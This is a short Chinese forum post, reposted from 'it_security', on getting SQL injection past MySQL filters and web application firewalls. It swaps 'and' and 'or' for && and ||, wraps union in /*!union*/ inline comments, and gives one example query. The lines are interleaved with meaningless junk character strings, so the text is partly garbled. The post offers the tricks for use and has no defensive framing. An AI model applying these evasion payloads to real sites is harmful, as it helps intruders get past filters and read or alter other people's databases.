mysql注入对and or的过滤及uinon select等过滤的一个方法突破

admin

1.and 用&& 代替
. j1 l. W1 C4 c9 |! @4 \: [
2. or 用||代替
0 Q2 ^- W( V- z4 V
. n+ e: v" `& K7 m* z- ?3.union select from 变成 /*!union*/这种。
; r  u" O+ }, C" K2 P( h
一个例子：
, Z2 u" Z; H0 ?+ ?" O
( S4 H" A/ ^# H/ select 1 /*!union*/ select 2 from adad where 1&&1
, D7 w7 K5 T3 U; ?) d- ?3 P
7 c" A; d* {& t0 @摘自 it_security

% c# j) ^) |' x( k: Y0 y% R绕过waf的一个思路
# [/ V( O' Z: P. k! Z# v
+ P) J: |8 l' Y( R) G